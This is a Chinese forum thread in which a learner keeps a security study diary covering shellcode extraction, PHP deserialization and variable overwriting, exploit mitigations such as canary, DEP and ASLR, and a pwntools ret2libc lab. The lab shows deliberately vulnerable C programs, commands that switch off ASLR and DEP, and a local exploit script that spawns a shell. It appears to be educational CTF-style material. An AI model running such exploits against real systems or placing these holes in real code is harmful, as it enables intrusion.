安全矩阵

 找回密码
 立即注册
搜索
查看: 23916|回复: 30

胡逸芳的学习日记

[复制链接]

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
发表于 2020-2-22 22:47:25 | 显示全部楼层 |阅读模式
20200222开贴

--写在前面:
  一直犹豫、修改,想着先word写得至少自己看顺眼了再发,生怕错了云云,其实不然。在原地踯躅又踌躇的话,是不会向前走的。
  然后虽然很慢,总算迈出了这一步。


回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-2-23 01:42:50 | 显示全部楼层
本帖最后由 oldmoon 于 2020-2-23 01:44 编辑

Messagebox--shellcode
0X01  操作/提取过程
刚入手可先使用c实现MessageBox弹框,再调试切入反汇编模式逐条查看如何使用汇编将其实现,并进行优化和改良。
  1. #include <windows.h>
  2. #include <stdio.h>
  3. int main(int argc,char* argv[])
  4. {
  5.   char* a="test shellcode";
  6.   char* b="test";
  7.   printf("begin\n");
  8.   //::MessageBox(NULL,"test shellcode","test",MB_OK);
  9. _asm
  10.   {
  11.         mov   esi,esp
  12.         push  0
  13.         push  b
  14.         push  a
  15.         push  0
  16.         call     dword ptr [MessageBoxA]
  17.   }
  18.   printf("end\n");
  19.   return 0;
  20. }
复制代码

运行结果无误后,切入反汇编模式,右键显示byte。将汇编部分代码连同机器码一起复制至文本编辑器中。
将机器码单独列出,并在前加上\x 即为十六进制表示。


此时,完成shellcode提取。
接下来,将shellcode直接放入程序中进行读取,尝试能否达到同样效果。
  1. #include <windows.h>
  2. #include <stdio.h>
  3. char shellcode[]="\x8B\xF4\x6A\x00\xFF\x75\xF8\xFF\x75\xFC\x6A\x00\xFF\x15\xAC\xA2\x42\x00"
  4. int main(int argc,char* argv[])
  5. {
  6.   char* a="test shellcode";
  7.   char* b="test";
  8.   printf("begin\n");
  9.   //::MessageBox(NULL,"test shellcode","test",MB_OK);
  10. /*_asm
  11.   {
  12.               mov   esi,esp
  13.                       push  0
  14.               push  b
  15.                       push  a
  16.                       push  0
  17.                       call     dword ptr [MessageBoxA]
  18.   }
  19. */

  20. _asm
  21.   {
  22.        lea     eax,shellcode
  23.                       push  eax
  24.                       ret
  25.   }

  26.   printf("end\n");
  27.   return 0;
  28. }
复制代码


成功。

0X02  另一种写法 & 所引发的思考
  1. #include <stdio.h>
  2. #include <windows.h>
  3. //char shellcode[]="\x90\x90\x90\x33\xDB\x53\x68\x64\x63\x62\x61\x68\x68\x67\x66\x65\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0";
  4. int main(int argc,char* argv[])
  5. {
  6.   printf("begin\n");
  7.     HINSTANCE libHandle;              //
  8.   char *dll="user32.dll";             //此三行含义为,将Messagebox所在dll加载到程序空间(加载user32.dll时必须包含头文件“windows.”)
  9.     libHandle=LoadLibrary(dll);      //

  10.   _asm
  11.   {
  12.                       //sub  sp,0x454
  13.                        xor    ebx,ebx               //因为shellcode中不能出现\x00,否则会进行截断,故先对ebx进行异或运算将其清零
  14.                        push  ebx                     //再压入堆栈,栈由高地址向低地址增长,以栈先进后出的特点,此时\x00就成了这段字符串的结尾
  15.                        push  0x61626364      //此内容为messagebox弹出的字符和标题头
  16.                        push  0x65666768
  17.                    mov   eax,esp             //将栈顶指针所指向的地址放入eax,后续即可等待call进行调用
  18.                        push  ebx
  19.                        push  eax
  20.                        push  eax
  21.                        push  ebx
  22.                        mov  eax,dword ptr[MessageBox]
  23.                        call     eax
  24.                       //mov  esp,0x450
  25.                        add    esp,12
  26.   }

  27. /* _asm
  28.   {
  29.               lea     eax,shellcode
  30.                       push  eax
  31.                       ret
  32.   }
  33. */
  34.   return 0;
  35. }
复制代码
运行结果:


疑问:
1.连续三个push的含义/用意是什么?
--注释在代码中写出
2.         mov  eax,dword ptr[MessageBox]  此句中为何需要用dword ptr 进行修饰?
*dword ptr[ ] :
dword:双字,也就是四个字节
ptr:pointer,即指针
[ ]:其中的数据是一个地址指针,这个地址指向一个双字型数据
如:mov eax,dword ptr [2020212223]意为把内存地址2020212223中的双字型(32位)数据赋给eax
此处使用dword ptr修饰的原因是直接将[MessageBox]函数调用的地址放入eax中,可进行直接寻址。
3.push次数为7次,为何最后平衡堆栈时只需要 add esp,12 ,而非 add esp,28 呢?
关于栈平衡问题,参照了d1l1大佬的文章:https://blog.csdn.net/qq_41683305/article/details/104242601
发现,其实以下四个连续push是不用管的(但是删掉会出现一些问题,原因为何有待思考)


由老师提出的一些问题:
1.winapi地址是什么?winapi是如何调用的?
*winapi:
视窗操作系统应用程序接口(Windows API),有非正式的简称法为WinAPI,是微软对于Windows操作系统中可用的内核应用程序编程接口的称法。它设计为由C/C++程序调用,而且它也是应用软件与Windows系统最直接的交互方式。
Windows 这个多作业系统除了协调应用程序的执行、分配内存、管理资源…之外, 它同时也是一个很大的服务中心,调用这个服务中心的各种服务(每一种服务就是一个函数),可以帮应用程式达到开启视窗、描绘图形、使用周边设备等目的,由于这些函数服务的对象是应用程序(Application), 所以便称之为 Application Programming Interface,简称 API 函数。相当于一堆系统函数。
--地址是什么?如何调用的?其实这两个问题还没有清晰的解决。
2.call 语句的本质是什么?
(1)将下一条指令的所在地址(即当时程序计数器PC的内容)入栈
(2)并将子程序的起始地址送入PC(于是CPU的下一条指令就会转去执行子程序)
而子程序结尾处通常都要编写一条RET指令(“返回”指令),RET指令的功能就是从栈中取出一条数据送入PC。
3._fastcall、_stdcall、_passcal 和C语言标准参数入栈区别是什么?
参考文章:https://www.cnblogs.com/john-h/p/6276828.html
(1)_fastcall
通过寄存器传递参数(用ECX和EDX传送前两个双字(DWORD)或者更小的参数,剩下的参数仍旧自右向左压栈传送,被调用的函数在返回前清理传送参数的内存栈)
_fastcall 调用约定在输出函数名前加上一个“@”符号,后面也是一个“@”符号和其参数的字节数,格式为@functionname@number。
(2)_stdcall
按照从右至左的顺序压参数入栈,由调用者把参数弹出栈。
函数自己在退出时清空堆栈,返回值保存在eax中。

_stdcall 是Pascal程序的缺省调用方式,通常用于win32 api 中。
_stdcall 与 _fastcall 差别在于,_fastcall 头两个参数通过寄存器传送,且通过寄存器传送的两个参数是从左向右的,即第一个参数进入ECX,第二个进入EDX,其他参数是从右向左进入stack,返回值仍然通过EAX。
(3)_pascal

从左向右传递参数,通过EAX返回,堆栈由调用者清除。
--暂且不清楚此种细微差异的入站区别究竟会运用在什么情况下(暂且用不到)

0X03  碎片知识补充
1.messagebox 函数
功能:显示一个消息对话框
语法:MessageBox(text,title{,icon{,button{,default}}})
参数:text:指定消息对话框中显示的消息,该参数可以是数值数据类型、字符串或boolean值;title:string类型,指定消息对话框的标题;icon:Icon枚举类型,可选项,指定要在该对话框左侧显示的图标;button:Button枚举类型,可选项,指定显示在该对话框底部的按钮;default:数值型,可选项,指定作为缺省按钮的按钮编号,按钮编号自左向右依次计数,缺省值为1,如果该参数指定的编号超过了显示的按钮个数,那么MessageBox()函数将使用缺省值返回值Integer。函数执行成功时返回用户选择的按钮编号(例如1、2、3等),发生错误时返回-1。如果任何参数的值为NULL,MessageBox()函数返回NULL。
函数功能:该函数创建、显示、和操作一个消息框。消息框含有应用程序定义的消息和标题,加上预定义图标与Push(下按)按钮的任何组合。
2.LEA与MOV的区别
LEA:目标地址传送指令,将一个近地址指针写入到指定的寄存器。格式:LEA reg16,mem16
其中reg16必须是一个16位通用寄存器,mem16必须是一个存储器,执行这个指令后,就将mem16所指的16位偏移地址传送reg16中。
比如: LEA EAX,BUF ,就是将存储器中BUF所指的地址传送给EAX.
区别于MOV传送指令:
MOV传送的是地址所指的内容,而LEA只是地址。

0X04  总结反思补充
  写的还是非常初级,时间关系涉及到的堆栈平衡和几个寄存器的功能和使用及区分未来得及阐述,总的来说任重而道远。
  前期起步乱七八糟,恰似无头苍蝇东一榔头西一棒,兜兜转转不得要点。想要一次性试验成功是不可能的,不贪多冒进很重要。

参考文章:
关于dll 加载的一些理解:http://blog.sina.com.cn/s/blog_8b74a1c5010152av.html
由messagebox 透视win32 api 的调用:https://blog.csdn.net/sun19910114/article/details/38779611


回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-2-24 00:16:07 | 显示全部楼层
本帖最后由 oldmoon 于 2020-2-25 01:49 编辑

PHP反序列化漏洞 -- WooYun 笔记
======================================================================
200223
0X00  前言
  浏览乌云文章时看到一个熟悉又陌生的名词,意识到这方面知识的空白,故进行补充学习。
  文中由很浅入不那么浅的理解以及能够进行的实验,参考了K0rz3n大佬的博客文章:https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

0X01  什么是序列化和反序列化?
1.序列化与反序列化 释义
  序列化(Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
  简言之,序列化就是将原本的数据通过某种方法进行转换,按一定格式进行存储的过程。同理,反序列化便是将以某种格式进行存储的数据通过某种方法进行转换,还原成原本的数据形态的过程。
2.PHP的序列化及反序列化
  首先需要了解两个PHP序列化及反序列化函数:serialize()、unserialize()
(1)serialize():产生一个可存储的值表示,返回字符串,且此字符串包含了表示value的字节流,可以储存于任何地方。有利于储存或传递PHP的值,同时不丢失其类型和结构。
语法:string serialize(mixed $value)

测试:
  1. <?php

  2. class test
  3. {
  4.     private $flag = "flag{2333}";
  5.     public $a = "aaa";
  6.     static $b = "bbb";
  7.     protected $c = “ccc”;
  8. }

  9. $test = new test;
  10. $print = serialize($test);
  11. echo $print;

  12. ?>
复制代码

结果:

  1. O:4:"test":2:{s:10:"testflag";s:10:"flag{2333}";s:1:"a";s:3:"aaa";}
  2. //分析:
  3. O代表这是一个对象,4代表对象名占四个字符,“test” 为对象名,2代表对象有2个属性
  4. s:10:"testflag" 为属性名;s:10:"flag{2333} 为属性值
复制代码
【问/答:】
1.属性名中,“testflag”明明只有8个字符,为何变成了10个?静态static中的“bbb”为何没有进行转换输出?
  K0rz3n大佬的博客文章中提及到此问题:这个问题涉及到PHP的属性访问的访问权限问题,序列化为了能把整个类对象的各种信息完整压栈、格式化,必然会将属性的权限序列化进去,其中定义的类属性各不相同:private、public、static、protected。(不进行无意义复制粘贴,仅阐述要点总结及学习过程心得,详情请查找文章开头附链接)
  可总结为:public权限 即其本身字符数量;private权限,序列化时格式为:%00类名%00属性名;protected权限,序列化时格式为 :%00*%00属性名。
  了解这些特性有助于后期构造或修改攻击向量时减少错误的发生。
2.序列化只序列化属性,不序列化方法。故在反序列化时要保证当前作用域环境下有该类存在,且反序列化攻击时依托的是类属性进行攻击。
(2)unserializ():将序列化后储存在文件中的字符串或数组还原成对象,并实现属性和方法的调用。
  1. <?php

  2. $str = 'O:4:"test":2:{s:10:"testflag";s:10:"flag{2333}";s:1:"a";s:3:"aaa";}';
  3. $data = urldecode($str);
  4. $printf = unserialize($str);             //此处显示出错

  5. var_dump($printf);
  6. echo $printf;

  7. ?>
复制代码
(此代码存在问题,经讨论怀疑为offset偏移问题,明日进行查询补充)
============================================================================================

200224

运行结果:

经讨论并查询offset相关资料:
[offset 函数 科普:]
PHP中offset取值特性,可以像操作数组一样操作字符串,字符串中的字符可以用类似数组结构中的方括号[ ] 包含的对应数字索引的形式来进行查找何修改,如下示例。此处可进行漏洞利用。
  1. <?php
  2. $test = "oldmoon";
  3. echo    $test[0];     //输出o
  4. echo    "<br/>";
  5. echo    $test[3];    //输出m
  6. echo    "<br/>";
  7. echo    $test[9];    //[ ] 中数字超出范围将会产生空白,输出空白
  8. echo    "<br/>";
  9. echo    $test[yourname];      //输出o,此处表示$test[0]等价于$test['yourname']
  10.                                             //对于$test['id']形式的字符串,在offset取值时键值会被转换成整形,相当于$test[0]的形式
  11. ?>
复制代码
结果显示:

此处受参考文章及其提供的漏洞场景启发:(Bypass)https://www.cnblogs.com/xiaozi/p/7909886.html   ;https://www.jb51.net/article/118138.htm
选取一个漏洞场景进行复现:
示例代码:

  1. <?php
  2. ini_set("display_errors", "On");
  3. error_reporting(0);
  4. foreach (array('_COOKIE','_POST','_GET') as $_request)  
  5. {
  6.         foreach ($_request as $_key=>$_value)  
  7.        {
  8.                      $_key=  $_value;
  9.           }
  10. }
  11. //$userinfo=333333
  12. $userinfo["username"] = $username;      //==> $userinfo[0]=a 赋值以后 $userinfo=a33333
  13. $userinfo["password"] = $password;      //==> $userinfo[0]=1 赋值以后 $userinfo=133333
  14. $_SESSION["userinfo"] = $userinfo;

  15. var_dump($_SESSION);
  16. echo "<br/>";
  17. $userinfo=$_SESSION["userinfo"];        //输出 array(1) { ["userinfo"]=> string(6) "133333" }
  18. if($userinfo["id"] == 1)       //!!!!!!划重点!
  19. {
  20.     echo "flag{xxx}";
  21.     die();
  22. }
  23. ?>
复制代码
此处表示只有当$userinfo["id"] == 1时能拿到flag。而$userinfo由$_SESSION["userinfo"]赋值而来,$_SESSION["userinfo"]又由$userinfo赋值而来。故只需将$userinfo覆盖值成1XXXX即可。
参照Bypass大佬标答,进行变量覆盖即可:
  1. <?php
  2. //?userinfo[id]=1
  3. ini_set("display_errors", "On");
  4. error_reporting(0);
  5. foreach (array('_COOKIE','_POST','_GET') as $_request)  
  6. {
  7.            foreach ($_request as $_key=>$_value)  
  8.           {
  9.                   $_key=  $_value;
  10.           }
  11. }

  12. var_dump($_GET);  //array(1) { ["userinfo"]=> array(1) { ["id"]=> string(1) "1" } }
  13. echo "<br/>";

  14. if($userinfo["id"] == 1) {
  15.     echo "flag{xxx}";
  16.     die();
  17. }
  18. ?>
复制代码


那么回到原话题,猜想可能是属性名处字符数量经serialize()序列化后改变了长度大小,那么试着改成它原本的大小:
  1. <?php

  2. $str = 'O:4:"test":2:{s:8:"testflag";s:8:"flag{2333}";s:1:"a";s:3:"aaa";}';
  3. $data = urldecode($str);
  4. $printf = unserialize($str);             //此处显示出错

  5. var_dump($printf);
  6. echo $printf;

  7. ?>
复制代码
还是同样的地方同样的bool(false)。
此问题暂且跳过,换一种方式:
  1. <?php
  2. class test
  3. {
  4.         public $test4 = "test4";
  5.        
  6.            public function set_flag($flag)
  7.           {
  8.                      $this->flag = $flag;
  9.           }
  10.            public function get_flag()
  11.           {
  12.                      return $this->flag;
  13.           }
  14. }
  15. $data = file_get_contents("test4.txt");
  16. $data = unserialize($data);
  17. echo $data->test4."<br>";
  18. echo $data->get_flag();
  19. ?>
复制代码
...还是错了(欲哭无泪.jpg  and  原因仍待商酌):

那就看看我本想达到的结果:


可达到仅修改经序列化的字符串中的内容从而达到简介修改前端页面显示的内容(突然震撼“hacked by XXX”)的(牢里见)效果。
0X02 反序列化漏洞利用--魔术方法
megic methods :在一般的攻击中,unserialize()饭序列化函数是攻击入口,若此参数可控,即可传入任何在当前作用域存在的已经序列化的对象,此时攻击面仅局限于出现unserialize()函数类的对象,较难进行利用。但反序列化其他类后我们只控制属性而不控制类,此时魔术方法的调用能够在该类序列化或反序列化的同时自动完成,无须人工干预,那么只要魔术方法中出现了某些能够进行利用的函数,我们就能通过反序列化中对对象属性的操控来实现对这些函数的操控,进而达到攻击目的。(由于对类和属性的概念还处于一个模糊的状态,所以经精简的对魔术方法的总结尚在理解中。)
1.常见方法集锦
  1. _construct()      //创建对象时触发
  2. _destruct()      //对象被销毁时触发
  3. _call()      //在对象上下文中调用不可访问的方法时触发
  4. _callStatic()      //在静态上下文中调用不可访问的方法时触发
  5. _get()      //用于从不可访问的属性读取数据
  6. _set()      //用于将数据写入不可访问的属性
  7. _isset()      //在不可访问的属性上调用isset()或empty()触发
  8. _unset()      //在不可访问的属性上使用unset()时触发
  9. _invoke()      //当脚本尝试将对象调用为函数时触发
复制代码
2.比较重要的方法:
1._sleep()
若存在该函数,则其会先被调用,返回需要比序列化存储的成员属性,删除不必要的属性,然后才会执行序列化serialize()操作。
此功能用于清理对象,返回一个包含对象中所有应该被序列化的变量名称的数组。
若该函数未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误。

2._wakeup()
unserialize()会检查是否存在一个_wakeup()方法,若存在则会先调用_wakeup()方法,预先准备对象需要的资源返回void。
常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

3.toString()
用于一个类被当成字符串时怎样回应。此方法必须返回一个字符串,否则将发出一条E_RECOVERABLE_ERROR级别的致命错误。
例如 echo $object;应该显示什么。

参照文章(https://xz.aliyun.com/t/3674
(万万没想到一个序列化反序列化会这么多门道......这也太长了......)
============================================================================================



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-3-30 01:54:36 | 显示全部楼层
本帖最后由 oldmoon 于 2020-3-30 02:03 编辑

200329  --  失踪人口回归

保护机制

0X01  前言

  操作系统提供了许多安全机制来尝试降低或阻止缓冲区溢出攻击带来的安全风险,包括DEP、ASLR等。在编写漏洞利用代码的时候,需要特别注意目标进程是否开启了DEP(Linux下对应NX)、ASLR(Linux下对应PIE)等机制,例如存在DEP(NX)的话就不能直接执行栈上的数据,存在ASLR的话各个系统调用的地址就是随机化的。Vc2008以上增加了很多编译开关,能够防止程序被溢出,故平时实验使用vc6.0为佳。)

  Win7以上的操作系统,加载的函数地址是随机的。此时,填充在shellcode中的地址 就会失去效用。
  在拿到一个程序之前需要现了解它带有的保护机制,再针对不同保护机制进行不同的绕过策略。

0X02  保护机制介绍
1. canary:栈保护机制
原理:
1)在所有函数调用发生时,向栈帧内压入一个额外的随机 DWORD,这个随机数被称作
“canary”,用 IDA 反汇编时,又被称作“Security Cookie”。
2)canary 位于 EBP 之前,系统还会在.data 的内存区域中存放一个 canary 的副本。
3)当栈中发生溢出时,canary 将被首先淹没,之后才是 EBP 和返回地址。
4)在函数返回之前,系统将执行一个额外的安全验证操作,称作 Security Check。
(5) Security Check 过程中,系统将比较栈帧中原先存放的 canary 和.data 中副本的值,若两者不同,则说明栈中发生了溢出,系统将进入异常处理流程,函数不会正常返回。
解决方法:
(1)将溢出过程中被覆盖的cookie重新覆盖回原状
(2)cookie表中将cookie拷贝回原处
(3)拆分cookie(难度较大)
编译时可控制是否开启栈保护机制以及程度:
  1. gcc -fno-stack-protector -o test test.c  //禁用栈保护

  2. gcc -fstack-protector -o test test.c  //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码

  3. gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码
复制代码

2.FORTIFY(少见)
原理
生成一些附加代码,通过对数组大小的判断替换strcpy, memcpy, memset等函数名,达到防止缓冲区溢出的作用。

3.NX(DEP):No-eXecute不可执行
原理:
将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
Linux/Windows编译时是否可控制开启DEP保护及命令:
1gcc编译器默认开启了NX选项,如果需要关闭NX选项,可以给gcc编译器添加-z execstack参数。
  1. gcc -z execstack -o test test.c
复制代码
2Windows下,类似的概念为DEP(数据执行保护),在最新版的Visual Studio中默认开启了DEP编译选项。下以win7为例
cmd以管理员身份运行,再重启即可
  1. bcdedit /set nx alwaysoff  //关闭

  2. bcdedit /set {default} nx Optin  //开启
复制代码
注:DEP运行在保护级别为2时,由于需要在处理器和系统内存运行所有的DEP检查,会影响系统性能,使得系统运行将会变慢一些,所以在某些情况下可以考虑完全关闭DEP保护。知道在DEP设置面板中是不提供关闭DEP选项的。而在Windows Vista、Windows Server 2008和Windows 7中,boot.ini文件已经被启动配置数据(Boot Configuration Data)即BCD文件所代替,不过可以使用微软提供的命令行工具bcdedit.exe来编辑BCD文件。

4. PIE(ASLR):position-independent executable地址空间分布随机化
简介:
一般情况下NX(Windows平台上称其为DEP)和地址空间分布随机化(ASLR)会同时工作。内存地址随机化机制(address space layout randomization),有以下三种情况
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
作用:
可以防范基于Ret2libc方式的针对DEP的攻击。ASLR和DEP配合使用,能有效阻止攻击者在堆栈上运行恶意代码。
Built as PIE:位置独立的可执行区域(position-independent executables)。这样使得在利用缓冲溢出和移动操作系统中存在的其他内存崩溃缺陷时采用面向返回的编程(return-oriented programming)方法变得难得多。
Linux下关闭PIE方法:
(1)
  1. #sudo -s echo 0 > /proc/sys/kernel/randomize_va_space      //先进入root权限,此处参数0代表关闭ASLR
复制代码
(2)
  1. $sysctl -w kernel.randomize_vaz_space=0      //这是一种临时改变随机策略的方法,重启之后将恢复默认。如果需要永久保存配置,需要在配置文件 /etc/sysctl.conf 中增加这个选项。
复制代码
(3)
  1. setarch ~uname -m -R ./your_program      //setarch改变程序的运行架构环境,并可以自定义环境flag。-R参数代表关闭地址空间随机化(开启ADDR_NO_RANDOMIZE)
复制代码
(4)在调试特定程序时,可以通过set disable-randomization命令开启或者关闭地址空间随机化。默认是关闭随机化的,也就是on状态。
  1. set disable-randomization on  //关闭ASRL

  2. set disable-randomization off  //开启ASRL

  3. show disable-randomization  //查看ASRL状态
复制代码

5.RELRO:Partial RELRO,意为GOT表具有写权限
原理:
设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。

0X03  举例
以此程序为例:
  1. #include<stdio.h>
  2. void exploit()
  3. {
  4.         system("/bin/sh");
  5. }
  6. void func()
  7. {
  8.              char str[0x20];
  9.         read(0, str, 0x50);
  10. }
  11. int main()
  12. {
  13.         func();
  14.              return 0;
  15. }
复制代码
1.在有源码的情况下,先查看其含有的保护机制。
操作:
  1. gcc -no-pie -fno-stack-protector -z execstack -m32 -o exp1 exp1.c
复制代码



2.在没有源码的情况下,使用gcc工具,objdump命令查看目标文件或可执行文件的构成。
操作:
#objdump -t -j .text exp1  //查看read程序的.text段有哪些函数-j name  //打开text节--section=name 仅仅显示指定名称为name的section的信息-t--syms 显示文件的符号表入口。类似于nm -s提供的信息

0X04  参考文章



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-4-1 23:26:32 | 显示全部楼层
200330、200331、200401
总结整理了攻防世界MISC部分新手进阶题的write up。
pwn“dbg调试”与“attach调试与ret2libc技术”部分的复现因资料收集不完整稍稍搁置,明日补全并进行发帖。
时间已到,早睡,熬夜秃头。
回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-4-3 00:02:33 | 显示全部楼层
attach调试与ret2libc
0X01  attach调试
  1. root@kali:/home# python payload.py
  2. [+] Starting local process './payload.exe': pid 9999
  3. [*] Switching to interactive mode
  4. [        DISCUZ_CODE_5        ]nbsp;
  5. ===========================
  6. gdb-peda$ attach 9999
  7. (即可跟踪查看在何处溢出等信息)
复制代码

漏洞发掘,查看有无溢出漏洞,举例:(fuzz.py)
  1. from pwn import *
  2. context(arch="i386",os="linux",log_level="debug")    //i386为32位,注意写明操作系统Linux/Windows,log_level打印出相应信息
  3. #context(arch="amd64",os="linux",log_level="debug")
  4. p=process('./test.exe')
  5. print(proc.pidof(p))    //打印出p的进程号
  6. offset = 100
  7. payload ='a'*offset
  8. pause()    //使程序再发送payload前暂停
  9. p.send(payload)    //利用gdb附加进程,发送payload
  10. p.interactive()
复制代码

0X02  ret2libc
ret2libc技术:return-to-libc返回到系统库函数执行
1.原理
在堆栈保护的情况下,通过寻找并直接跳转到系统调用函数处,加载相应参数,精心构造堆栈,使得shellcode能够执行并获取权限的方法。
2.应用
破解NX(DEP)
3.说明
DEP即将代码段地址空间设置成不可执行属性,一旦系统从这些地址空间进行取指令操作时,CPU即报内存违例异常,进而杀死进程,故此时注入的shellcode无法执行。虽然注入的shellcode无法执行,但进程和动态库的代码段需要执行,即具有可执行属性,那么此时我们便可以利用进程现有的代码段进行攻击。
4.实验
有溢出漏洞的程序:41.c
payload:41.py
  1. //  41.c  //
  2. #include<stdio.h>
  3. void exploit()
  4. {
  5.             system("/bin/sh");
  6. }
  7. void main()
  8. {
  9.         char buf[20];
  10.         gets(buf);
  11. }
复制代码
  1. ##  41.py  ##
  2. from pwn import *
  3. #context(arch="i386",os="linux",log_level="debug")
  4. #context(arch="amd64",os="linux",log_level="debug")
  5. p=process('./41.exe')
  6. offset = 44

  7. #success 1
  8. payload ='a'*offset+p32(0x8049172)    #直接跳转到eip返回的地址,将其覆盖到exploit处

  9. #success 2
  10. #payload ='a'*offset+p32(0xf7e13660)+p32(0xf7e066f0)+p32(0xf7f50f68)
  11. #p32-1(p system)+p32-2(p exit)+p32-3(searchmem "/bin/sh"-libc)

  12. #success 3
  13. #payload ='a'*offset+p32(0x8049040)+p32(0x8049040)+p32(0x804b008)
  14. #p32-1(p system)+p32-2(p exit)+p32-3(searchmem "/bin/sh"-41.exe-2)

  15. p.send(payload)
  16. p.interactive()
复制代码
5.payload地址部份构造:
  1. <b>root@kali:/home# gdb 41.exe</b>
  2. ......
  3. <b>gdb-peda$ start</b>
  4. ......
  5. <b>gdb-peda$ pattern create 100</b>
  6. <b>'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
  7. gdb-peda$ r</b>
  8. Starting program: /home/41.exe
  9. <b>AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
  10. </b>
  11. Program received signal SIGSEGV, Segmentation fault.
  12. [----------------------------------registers-----------------------------------]
  13. EAX: 0x50 ('P')
  14. EBX: 0x61414145 ('EAAa')
  15. ECX: 0xffffd260 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A\001")
  16. EDX: 0x50 ('P')
  17. ESI: 0xf7fa8000 --> 0x1d6d6c
  18. EDI: 0xf7fa8000 --> 0x1d6d6c
  19. EBP: 0x41304141 ('AA0A')
  20. ESP: 0xffffd290 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A\001")
  21. <b>EIP: 0x41414641 ('AFAA')</b>
  22. EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
  23. [-------------------------------------code-------------------------------------]
  24. Invalid $PC address: 0x41414641
  25. [------------------------------------stack-------------------------------------]
  26. 0000| 0xffffd290 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A\001")
  27. 0004| 0xffffd294 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4A\001")
  28. 0008| 0xffffd298 ("AcAA2AAHAAdAA3AAIAAeAA4A\001")
  29. 0012| 0xffffd29c ("2AAHAAdAA3AAIAAeAA4A\001")
  30. 0016| 0xffffd2a0 ("AAdAA3AAIAAeAA4A\001")
  31. 0020| 0xffffd2a4 ("A3AAIAAeAA4A\001")
  32. 0024| 0xffffd2a8 ("IAAeAA4A\001")
  33. 0028| 0xffffd2ac ("AA4A\001")
  34. [------------------------------------------------------------------------------]
  35. Legend: code, data, rodata, value
  36. Stopped reason: SIGSEGV
  37. 0x41414641 in ?? ()
  38. gdb-peda$ AJAAfAA5AAKAAgAA6AAL
  39. Undefined command: "AJAAfAA5AAKAAgAA6AAL".  Try "help".
  40. <b>gdb-peda$ pattern offset AFAA</b>
  41. AFAA found at offset: 44      //此处,找到偏移量为44
复制代码

(1)success 1:直接跳转到eip返回的地址,将其覆盖到exploit处
-------------200402  竟然没写完,先到这,睡觉,熬夜秃头。


回复

使用道具 举报

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
 楼主| 发表于 2020-4-11 22:27:13 | 显示全部楼层
本帖最后由 oldmoon 于 2020-4-12 19:49 编辑

《加密与解密》第一章 基础知识
1.0  写在前面
  本着宁可龟速也不冒进的想法,两三遍第一章后,自觉已经可以总结一些笔记和需要注意的细节了,故记。
  虽然这一章是介绍基础知识的,但是每一句话都值得深思熟虑,反复思考。同时,若是在理解知识点时能结合生活的例子进行类比、将拗口的知识点形象化,那会是件非常有趣且有助于理解和记忆的事。
  接下来是我认为重要且需要记忆的部分,部分叙述顺序进行了微调,加上的个人的理解,写在【】中。
目录:


1.1  什么是加密与解密
1.1.2  软件逆向工程
  逆向工程(Reserve Engineering):指根据以由的产物和结果,通过分析来推导出具体方案的实现方法。对软件来说,可以看作“可执行程序 --> 反编译 --> 源代码”的过程。
  逆向工程内容:
(1)软件使用限制的去除或者软件功能的添加【比如:软件破解、插件的开发使用等】
(2)软件源码的再获得
(3)硬件的复制和模拟【比如:枪版游戏机和内置游戏等】
  逆向工程的目的:再利用。

1.2  文本字符
1.2.1  ASCII码与Unicode字符集
  ASCII码(American Standard Code for Inf ormationInterchange,美国信息交换标准码):
现代ASCII是一个7位的编码标准,取值范围为 00h~7Fh ,包括26个大小写字母、10个数字、32个符号、33个控制代码及空格,共计128个代码。
  Unicode:
ASCII字符编码的一个扩展,是一种双字节编码机制的字符集,使用0~65535的双字节无符号整数对每个字符进行编码。
Unicode种,所有字符都是16位的,其中所有的7位ASCII码都被扩充为16位(注:高位扩充的是0)
以字符串“pediy”为例:
